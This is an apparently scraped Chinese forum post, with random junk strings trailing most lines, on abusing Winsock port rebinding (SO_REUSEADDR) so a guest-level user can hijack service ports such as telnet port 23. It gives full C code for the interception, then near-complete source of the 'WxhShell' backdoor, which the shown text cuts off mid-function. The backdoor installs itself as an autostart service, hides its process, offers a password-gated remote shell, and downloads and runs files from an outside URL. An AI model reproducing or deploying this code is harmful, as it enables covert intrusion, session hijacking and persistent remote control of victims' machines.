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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: f@H>by N  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); @X]J MicJ  
Je#vu`.\\  
  saddr.sin_family = AF_INET; Ie'iAY  
jFG Y`9Zw0  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); Z1sRLkR^  
l ^;=0UR_  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); A}MF>.!}C  
8 _|"+Ze  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 G^A}T3  
R~N'5#.*M  
  这意味着什么?意味着可以进行如下的攻击: 4$Ud4<  
2,e>gP\]  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 z2god 1"  
91:TE8?Z  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Pw/$ }Q9X  
NY\-p=3c7=  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 mJa8;X!r6  
*ez7Q   
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  M(#]NTr ~4  
YnW,6U['{g  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 eDL0Vw  
)mE67{YJh~  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 mL]5Tnc  
eGi|S'L'  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 by* v($  
G ;  
  #include jOU1F1  
  #include ;-d2~1$  
  #include y0\=F  
  #include    h45RwQ5Z  
  DWORD WINAPI ClientThread(LPVOID lpParam);   cBDOA<]r,  
  int main() != u S  
  { Z8q*XpUH  
  WORD wVersionRequested; Jk,}3Cr/  
  DWORD ret; Hg`2- Nl  
  WSADATA wsaData; KK41I 8Mw  
  BOOL val; L ]QBh\  
  SOCKADDR_IN saddr; -14~f)%NQ*  
  SOCKADDR_IN scaddr; P/ 7aj:h~P  
  int err; L^{wxOf&6E  
  SOCKET s; {z*`* O@  
  SOCKET sc; 8Lh[>|~=  
  int caddsize; &d&nsQ  
  HANDLE mt; N7}y U~j^  
  DWORD tid;   W=zp:6Z~  
  wVersionRequested = MAKEWORD( 2, 2 ); dY'>'1>P 9  
  err = WSAStartup( wVersionRequested, &wsaData ); W kSv@Y,  
  if ( err != 0 ) { eN-lz_..7  
  printf("error!WSAStartup failed!\n"); S\W&{+3  
  return -1; t2#zQ[~X!  
  } 3?-2~s3gp  
  saddr.sin_family = AF_INET; SS"Z>talw  
   h f9yK6  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 QIu!o,B  
{14sI*b16  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); CV7%ud]E  
  saddr.sin_port = htons(23); [Ontip  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) u\P)x~-TM  
  { y];@ M<<?e  
  printf("error!socket failed!\n"); @j+X>TD  
  return -1; '~OKt`SfIo  
  } :?z E@Ct  
  val = TRUE; # PZBh  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 kYU!6t1  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) x qLIs:*  
  { uoe>T:  
  printf("error!setsockopt failed!\n"); '^~3 8=FA  
  return -1; mBWhC<kKs  
  } <7yn:  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; sZYTpZgW4L  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 vC_O! 2E  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 i=j4Wg,{J  
brClYpp,h  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) xD4G(]d!  
  { `]m/za%7  
  ret=GetLastError(); }I ^e:,{  
  printf("error!bind failed!\n"); H`Ld,E2ex&  
  return -1; YV"LM6`  
  } ">rt *?^  
  listen(s,2); O:Ob{k  
  while(1) w"?E=RS  
  { `)_11ywZ  
  caddsize = sizeof(scaddr); iYl$25k/1  
  //接受连接请求 GN ?1dwI  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); qwDoYy yu  
  if(sc!=INVALID_SOCKET) ]WZi +  
  { .}DL%E`n  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); dX ;G [\  
  if(mt==NULL) 8!VF b+  
  { $,#,yl ol  
  printf("Thread Creat Failed!\n"); ?,Zc{   
  break; {#J1D*?$"  
  } 0q:g Dc6z  
  } >W?7a:#,  
  CloseHandle(mt); TCS^nBEE  
  } +)QA!g$  
  closesocket(s);  =[G)  
  WSACleanup(); v}-jls  
  return 0; {GM8}M~D&  
  }   lp%i%*EQ*  
  DWORD WINAPI ClientThread(LPVOID lpParam) +Y|HO[  
  { *r]Mn~3  
  SOCKET ss = (SOCKET)lpParam; =OU]<%  
  SOCKET sc; XqK\'8]\Mw  
  unsigned char buf[4096]; /e4#D H  
  SOCKADDR_IN saddr; &4-rDR,  
  long num; ?UV ^6  
  DWORD val; J t,7S4JL  
  DWORD ret; rCFTch"  
  //如果是隐藏端口应用的话,可以在此处加一些判断 }c-tvK1g  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ?L~Z]+-  
  saddr.sin_family = AF_INET; Lmw{ `R  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); \~`qE<Q/  
  saddr.sin_port = htons(23); 0&|,HK  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) x8wal[6  
  { ,1g*0W^  
  printf("error!socket failed!\n"); 0A>Fl*  
  return -1; ~\D H[Mt  
  } gw`}eA$  
  val = 100; -(YdK8  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) aok,qn'j  
  { 3O!TVSo  
  ret = GetLastError(); g&6O*vx  
  return -1; _Q3Ad>,U  
  } WmT(>JBO  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 2e @zd\  
  { |`yzH$,F  
  ret = GetLastError(); ewb/ Z[4  
  return -1; ]VS$ ?wD  
  } =\l7k<  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) hV4\#K[  
  { Mb0cdK?hA  
  printf("error!socket connect failed!\n"); ljo^ 2  
  closesocket(sc); 2eh j2T  
  closesocket(ss); xr\wOQ*`  
  return -1; @YfCS8 eH  
  } 4$<-3IP,  
  while(1) ^>fjURR  
  { 7,N>u8cTh  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 C5jR||  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 )wwQv2E  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 T c{]w?V  
  num = recv(ss,buf,4096,0); =2=n   
  if(num>0) MJ:>ZRXC E  
  send(sc,buf,num,0); :,^pLAt  
  else if(num==0) q$=EUB"C  
  break; uKZe"wN;  
  num = recv(sc,buf,4096,0); #Ua+P(1q  
  if(num>0) 4SqZ V  
  send(ss,buf,num,0); e!(0y)*  
  else if(num==0) +T@a/(Gl  
  break; `kP (2b  
  } wbaXRvg  
  closesocket(ss); ceu}Lp^%/  
  closesocket(sc); n|oAfJUk,  
  return 0 ;  T8i9  
  } @BZ6{@*  
Q`]E l<$  
 } Rc8\,  
========================================================== SEc3`y;j%  
fYzOT, c  
下边附上一个代码,,WXhSHELL yEfV8aY'*  
~4~-^ t  
========================================================== Sr`gQ#b@r}  
;=.QT  
#include "stdafx.h" = e)[?{H  
+jD{ O @9  
#include <stdio.h>  *YFe  
#include <string.h> r4~Bn7j2  
#include <windows.h> 5M{ DJ/q  
#include <winsock2.h> fr0iEO_  
#include <winsvc.h> Pb|'f(  
#include <urlmon.h> LyB$~wZx~@  
|WB<yA1  
#pragma comment (lib, "Ws2_32.lib") MKdBqnM(F  
#pragma comment (lib, "urlmon.lib") g& *pk5V>  
X]Emz"   
#define MAX_USER   100 // 最大客户端连接数 3?vasL  
#define BUF_SOCK   200 // sock buffer !(hP{k ^g  
#define KEY_BUFF   255 // 输入 buffer cmIAWFj-)e  
lq$1CI  
#define REBOOT     0   // 重启 gq6C6   
#define SHUTDOWN   1   // 关机 [Pdm1]":(  
\"qXlTQ1_9  
#define DEF_PORT   5000 // 监听端口 $+<X 1  
jG0{>P#+  
#define REG_LEN     16   // 注册表键长度 JqO#W1h~R|  
#define SVC_LEN     80   // NT服务名长度 TIV1?S  
gkuI!=  
// 从dll定义API Mc9P(5Bf  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); byv(:xk|'e  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); HlB'yOHv!  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); D4m2*%M  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); >,`/ z  
Tv0|e'^  
// wxhshell配置信息 k})Ag7c  
struct WSCFG { 9BGPq)#  
  int ws_port;         // 监听端口 }B_n}<tjD  
  char ws_passstr[REG_LEN]; // 口令 ~$f+]7  
  int ws_autoins;       // 安装标记, 1=yes 0=no (9BjZ&ej  
  char ws_regname[REG_LEN]; // 注册表键名 ?J+[|*'yK  
  char ws_svcname[REG_LEN]; // 服务名 | %af}# FQ  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 q0 :Lb  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 qphN   
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 I~qS6#%r  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ` BH8v  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" -uiZp !  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 /'=C<HSO  
XQ<2(}]4  
}; `OnN12`  
xyx.1o e!  
// default Wxhshell configuration JBa=R^k  
struct WSCFG wscfg={DEF_PORT, YizJT0$  
    "xuhuanlingzhe", mj<(qZh  
    1, {W }.z  
    "Wxhshell", %#NaM\=8v  
    "Wxhshell", 7g5sJj  
            "WxhShell Service", +V&b<y;?>  
    "Wrsky Windows CmdShell Service", ;0}$zy1EZ  
    "Please Input Your Password: ", /40Z-'Bl=(  
  1, W;,.OoDc>  
  "http://www.wrsky.com/wxhshell.exe", pN&Dpz^  
  "Wxhshell.exe" xkOyj`IS  
    }; o:#MP(h,N  
/ MSz{ %v  
// 消息定义模块 {t[j>_MYw  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; A $W,#`E  
char *msg_ws_prompt="\n\r? for help\n\r#>"; !a3cEzs3  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ]}F_nc2L  
char *msg_ws_ext="\n\rExit."; fk P@e3  
char *msg_ws_end="\n\rQuit."; `6!l!8 v  
char *msg_ws_boot="\n\rReboot..."; ReP7c3D>p  
char *msg_ws_poff="\n\rShutdown..."; 6@!<' l%z  
char *msg_ws_down="\n\rSave to "; 3bpbk  
DJrE[wI  
char *msg_ws_err="\n\rErr!"; <!&nyuSz  
char *msg_ws_ok="\n\rOK!"; d>NElug  
r M'snW)  
char ExeFile[MAX_PATH]; #:{PAt  
int nUser = 0; UioLu90 P  
HANDLE handles[MAX_USER]; E/LR(d_  
int OsIsNt; 1bd(JL  
hH{&k>  
SERVICE_STATUS       serviceStatus; E$f.&<>T  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; %\[LM$f{z  
^o|igyS9  
// 函数声明 /bVU^vo  
int Install(void); TH)gW  
int Uninstall(void); G F,/<R#  
int DownloadFile(char *sURL, SOCKET wsh); w*Sl  
int Boot(int flag); Fg Qd7p  
void HideProc(void); /l0\SVwa>  
int GetOsVer(void); Ve7[U_"  
int Wxhshell(SOCKET wsl); bWwc2##7jo  
void TalkWithClient(void *cs); A[;R_  
int CmdShell(SOCKET sock);  F[115/  
int StartFromService(void); ;hmy7M1%  
int StartWxhshell(LPSTR lpCmdLine); ?bQ~ +M\  
Az6f I*yP  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); =4/lJm``  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); I9ubVcV8  
>!wX% QHH  
// 数据结构和表定义 &K)c*' l  
SERVICE_TABLE_ENTRY DispatchTable[] = 3yDa5q{  
{ [1dlV/  
{wscfg.ws_svcname, NTServiceMain}, W:b8m Xx  
{NULL, NULL} <;+&`R  
}; N4}/n  
EdE,K1gD  
// 自我安装 >I8R[@  
int Install(void) qWtvo';3  
{ c&AA< 6pkv  
  char svExeFile[MAX_PATH]; Jp xJZJ  
  HKEY key; D^I%tn=F  
  strcpy(svExeFile,ExeFile); : UD<1fh  
sk$MJSE ~  
// 如果是win9x系统,修改注册表设为自启动 }Hrm/Ni  
if(!OsIsNt) { WWc{]R^D  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { tH2y:o 72  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); F%lP<4Vx  
  RegCloseKey(key); X|7gj &1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { %-i2MK'A  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); QgC  
  RegCloseKey(key); jw5Bbyk  
  return 0; B:a&)L wp0  
    } %[-D&flKC  
  } U=QV^I Qm  
} =5oE|F%  
else { }9aYU;9D  
y!."FoQ  
// 如果是NT以上系统,安装为系统服务 5"c#O U  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); :U0z;  
if (schSCManager!=0) eFp4MD8?  
{ B~V^?."  
  SC_HANDLE schService = CreateService 41^+T<+  
  ( /^ i7^  
  schSCManager, ON~SZa  
  wscfg.ws_svcname, ~0!s5  
  wscfg.ws_svcdisp, bB->\  
  SERVICE_ALL_ACCESS, nxKV7d@R  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , O2q`2L~  
  SERVICE_AUTO_START, .4^Ep\\  
  SERVICE_ERROR_NORMAL, cc*A/lD  
  svExeFile, 7d]}BLpjWz  
  NULL, :xm, Ok  
  NULL, +tkDT@ `  
  NULL, ,sn ?V~)  
  NULL, x}i:nLhL  
  NULL \&`S~cV9  
  ); H.hF`n  
  if (schService!=0) t`o-HWfS.  
  { xD,BlDV  
  CloseServiceHandle(schService); 0ym>Hbax)  
  CloseServiceHandle(schSCManager); B4r4PSB>!  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); R^<li;Km  
  strcat(svExeFile,wscfg.ws_svcname); CbVUz<  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { MVs@~=  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); xJa  
  RegCloseKey(key); 0g,;Yzm  
  return 0; cclx$)X1X  
    } 'mXf8   
  } A/|To!R  
  CloseServiceHandle(schSCManager); yJ c#y   
} 5(^&0c>P  
} b<P9@h~:  
Q.>@w<[!L  
return 1; <[@AMdS  
} O[U^{~iM  
|`1lCyV\tE  
// 自我卸载 mQhI"3! f  
int Uninstall(void) 9i*t3W71]  
{ casva;  
  HKEY key; P B_ +:S^8  
B<u6Z!Pp2  
if(!OsIsNt) { NGOc:>}k>  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { o|*ao2a  
  RegDeleteValue(key,wscfg.ws_regname); |,c QJ  
  RegCloseKey(key); Fo=Icvo  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { P hs4]!  
  RegDeleteValue(key,wscfg.ws_regname); &q^\*<B.^  
  RegCloseKey(key); @#hd8_)A.  
  return 0; PTWP7A[  
  } [fiB!G ]?  
} ;!q _+P  
} }A\s`H m  
else { qT$;ZV #  
Aw~ =U!  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); HQw98/-_W  
if (schSCManager!=0) _ [su?C  
{ }><Vc ouJ[  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); c>#T\AEkF  
  if (schService!=0) jNhiY  
  { Ua\]]<hj"  
  if(DeleteService(schService)!=0) { 47 xyS%X  
  CloseServiceHandle(schService); umhg O.!  
  CloseServiceHandle(schSCManager); "SJp9s3  
  return 0; [KR|m,QWp  
  } FNL[6.!PV  
  CloseServiceHandle(schService); ?{[ ISk)  
  } {}kE=L5  
  CloseServiceHandle(schSCManager); tPBr{  
} p2 V8{k  
} 2$?bLvk  
ebK/cPa8  
return 1; C62:G+W&o  
} _&)^a)Nu  
KX D&FDkF  
// 从指定url下载文件 5Iinen3>  
int DownloadFile(char *sURL, SOCKET wsh) N4]QmRX/j  
{ Fk=Sx<TX  
  HRESULT hr; qM= $,s*  
char seps[]= "/"; y (@j;Q3(r  
char *token; ySAkj-< /P  
char *file; :FB-GNd  
char myURL[MAX_PATH]; w.Cw)# N  
char myFILE[MAX_PATH]; qWX%[i%  
7iMBDkb7  
strcpy(myURL,sURL); zGzeu)d  
  token=strtok(myURL,seps); N^</:R  
  while(token!=NULL) 5x856RQ'  
  { nwuH:6~"  
    file=token; eB%hP9=:x  
  token=strtok(NULL,seps); XrP'FLY o  
  } B_R J;.oH  
p}H:t24Cr5  
GetCurrentDirectory(MAX_PATH,myFILE); $WmB__  
strcat(myFILE, "\\"); ^/@Z4(E  
strcat(myFILE, file); _ 3@[S F  
  send(wsh,myFILE,strlen(myFILE),0); yvR3|  
send(wsh,"...",3,0); `#@#e Z  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 7QV@lR<C2R  
  if(hr==S_OK) )aSj!X'`;  
return 0; .)=T1^[hI  
else jB) RvvMU5  
return 1; *nS}1(u]  
i!0w? /g9  
} RN:VsopL  
"/H B#  
// 系统电源模块 )gF>nNE  
int Boot(int flag) h,-2+}  
{ 8xf]zM"Q  
  HANDLE hToken; YX*NjXL  
  TOKEN_PRIVILEGES tkp; )(b, v/:  
s/Ne,v  
  if(OsIsNt) { >-8r|};+  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); QIl=Ho"c  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ]hE%Tk-  
    tkp.PrivilegeCount = 1; 5SV w71 *  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; c{.y9P6  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ByyvRc,v  
if(flag==REBOOT) { mnzB90<  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) E~}@56ER}  
  return 0; +"J2k9E  
} @M( hyS&on  
else { s Zn@ye^  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) N"/J1   
  return 0; Pgug!![  
} CgT5sk}  
  } {7d(B1[1  
  else { B:mtl?69g  
if(flag==REBOOT) { BjX*Gm6l  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) h]6m+oPW  
  return 0; j(aok5:e  
} e^!>W %.7Z  
else { uwI$t[  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) s!73To}>  
  return 0; Z7]["  
} M=rH*w{^  
} <n4 ?wo  
OQnb^fabY  
return 1; uuaoBf  
} ?uAq goCl  
A4K8DP  
// win9x进程隐藏模块 eewlK]  
void HideProc(void) ~K$dQb])  
{ 3M^s EaUI  
D9yAq'k$  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); G^1 5V'*  
  if ( hKernel != NULL ) G/ sRi wL  
  { <@.!\  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 9 AWFjoXl"  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); zrDcO~w  
    FreeLibrary(hKernel); =Ju%3ptH0  
  } 5,_DM  
aHR+4m~)  
return; w;b;rHAZ\  
} (e"\%p`  
Wf!u?nH.5  
// 获取操作系统版本 $y$E1A6h+  
int GetOsVer(void) Z Jgy!)1n  
{ \Gl>$5np  
  OSVERSIONINFO winfo; `8 Ann~Z|k  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); PAD&sTjE*  
  GetVersionEx(&winfo); qs$w9I  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) e6`g[Ap  
  return 1; 6N\f>c  
  else [AHoTlPZ  
  return 0; R4_BP5+  
} d DrzO*a\  
W?H-Ng3E  
// 客户端句柄模块 f7_V ]  
int Wxhshell(SOCKET wsl) 9P1!<6mN\  
{ :pJK Z2B,  
  SOCKET wsh; T)#e=WcP]  
  struct sockaddr_in client; b3NEYn  
  DWORD myID; >PS`;S!(  
vu@@!cT6e  
  while(nUser<MAX_USER) [,yYr  
{ @1vpkB~ w  
  int nSize=sizeof(client); )+ (GE  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); %n{ue9  
  if(wsh==INVALID_SOCKET) return 1; W0+m A  
ooA%/  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); B<{Yj}..  
if(handles[nUser]==0) e;8nujdG"  
  closesocket(wsh); A$jf#,  
else A.+Qa  
  nUser++; =G\N1E  
  } "}Oj N\  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); y9U*E80q{  
Ghf/IXq#  
  return 0; ~ugyUpY"  
} aY8QYK ;?^  
/Ue_1Efa  
// 关闭 socket GR,gCtG+L  
void CloseIt(SOCKET wsh) &gdhq~4#  
{ 7Z< 2`&c7  
closesocket(wsh); ]KM3G  
nUser--; RI2/hrW  
ExitThread(0); .+A2\F.^  
} o?| ]ciY  
G  L-Pir  
// 客户端请求句柄 nN%Zed2O@6  
void TalkWithClient(void *cs) =3;~7bYO  
{ $DeVXW  
v*JXrB&x  
  SOCKET wsh=(SOCKET)cs; 8&wN9tPYZ  
  char pwd[SVC_LEN]; &HBC9Bx/(  
  char cmd[KEY_BUFF]; XK{KFB-  
char chr[1]; e ~ %=H 0n  
int i,j; Z,I0<ecaD  
B8`!A  
  while (nUser < MAX_USER) { {k uC+~R  
3~EPX`#[W  
if(wscfg.ws_passstr) { }X9G(`N(}  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); LI9 Uc\  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); @(CJT-Ak  
  //ZeroMemory(pwd,KEY_BUFF); E$C0\O!7  
      i=0; m%%\k \  
  while(i<SVC_LEN) { %7A?gY81  
[_-[S  
  // 设置超时 GK&R,q5}  
  fd_set FdRead; R4%}IT^%P  
  struct timeval TimeOut; )mu[ye"p  
  FD_ZERO(&FdRead); ('6sW/F*ab  
  FD_SET(wsh,&FdRead); H;N6X y*~  
  TimeOut.tv_sec=8; y:YJv x6&4  
  TimeOut.tv_usec=0; |"+UCAU  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); CwaW>(`v  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); u= Vt3%q  
o(stXa  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); H~; s$!lG  
  pwd=chr[0]; (R]b'3,E$  
  if(chr[0]==0xd || chr[0]==0xa) { n{"e8vQx  
  pwd=0; u>*d^[zS  
  break; %9OVw #P  
  } HX#$ ^@Q(  
  i++; ,CIsZ1[VS  
    } KkZS6rD\  
v[]&yD  
  // 如果是非法用户,关闭 socket -5y=K40  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); E`b<^l`  
} Ey&gZ$|&  
i4\DSQJ  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); G O[u  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); _F`RwBOjs  
*6wt+twH  
while(1) { 5Ve T8/7Q  
\# _w=gs<i  
  ZeroMemory(cmd,KEY_BUFF); AvcN,  
IoCi(N;  
      // 自动支持客户端 telnet标准   @a}\]REn  
  j=0; ;<H\{w@D  
  while(j<KEY_BUFF) { &%;K_asV;  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); lpnPd{kE  
  cmd[j]=chr[0]; }K|40oO5  
  if(chr[0]==0xa || chr[0]==0xd) { ' 1D1y'  
  cmd[j]=0; 7e=s`j  
  break; ZjveXrx  
  } fjLS_Q ;h  
  j++; C/ENJ&  
    } s:*" b'  
!"SuE)WM  
  // 下载文件 ]SL0Mn g8  
  if(strstr(cmd,"http://")) { ys9'1+9  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); SquuK1P=  
  if(DownloadFile(cmd,wsh)) -d *je{c |  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); <xh";seL  
  else 78kT}kgW  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -DWnDku8=  
  } CD pLV:  
  else { \@$V^;OP/  
&5n0J  
    switch(cmd[0]) { _)MbvF  
  wZb7 7  
  // 帮助 Qq<+QL|  
  case '?': { eT@, QA(3  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); k? !'OHmBL  
    break; )KKmV6>b  
  } B`?5G\7L  
  // 安装 v4VP7h6uD)  
  case 'i': { z K6'wL!!I  
    if(Install()) Y(R .e7]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !h>aP4ofT  
    else sEx`9_oZ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <nJ8%aY,  
    break; ]] 50c  
    } aK]H(F2#  
  // 卸载 "p"~fN /I9  
  case 'r': {  lx&;?QQ  
    if(Uninstall()) \s_`ZEB  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); I5#zo,9  
    else NU%<Ws=  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); hIFfvUl  
    break; 94xWMX2  
    } ]SG(YrF  
  // 显示 wxhshell 所在路径 `:kI@TPI_C  
  case 'p': { HB9|AQ4K  
    char svExeFile[MAX_PATH]; ~JTp8E9kw  
    strcpy(svExeFile,"\n\r"); l [ Navw  
      strcat(svExeFile,ExeFile); 5^C.}/#>F  
        send(wsh,svExeFile,strlen(svExeFile),0); Yl"l|2 :  
    break; cc:,,T /i  
    } ;fZ9:WB  
  // 重启 p~17cH4~-f  
  case 'b': { JQH>{OB  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); =4804N7  
    if(Boot(REBOOT)) /XXy!=1J  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); k/ hNap'0  
    else { kGW4kuh)/q  
    closesocket(wsh); /yFs$t >9  
    ExitThread(0); 66|$X,  
    } 6Jd.Eg ~A7  
    break; 17+2`@vJgM  
    } \pVWYx  
  // 关机 yc.9CTxx  
  case 'd': { ab^>_xD<  
